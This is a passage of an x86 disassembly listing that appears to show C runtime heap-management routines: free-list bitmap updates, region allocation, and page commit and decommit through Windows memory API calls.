		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2800000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2670C47h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27F0000h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2670C47h
		nop
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2800000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2670DAEh


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2670DAEh
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		call	near ptr 27F0000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2670DAEh
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
